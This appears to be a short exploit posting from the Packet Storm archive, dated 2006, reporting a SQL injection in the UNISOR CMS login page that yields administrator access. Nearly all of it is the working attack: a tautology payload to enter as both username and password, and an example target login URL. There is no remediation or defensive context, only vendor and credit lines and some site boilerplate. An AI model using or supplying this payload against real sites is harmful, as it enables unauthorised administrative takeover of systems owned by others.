UNISOR CMS suffers from a SQL injection vulnerability that can be used to gain administrative privileges.
d3ff9edcd325258939ef9797a17e7a279dec7fb8d7087eca520a632d4146be6c***********************
* Tunis the 26/10/2006*
* bug found by fireboy*
***********************
product:UNISOR CMS
vendor:www.unisor.nl
there is an sql injection problem in UNISOR CMS login page and it can be exploited to gain admin privileges.
exploit:
user: 'or''='
pass: 'or''='
example:http://www.target.com/unisor/login.asp
thx
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed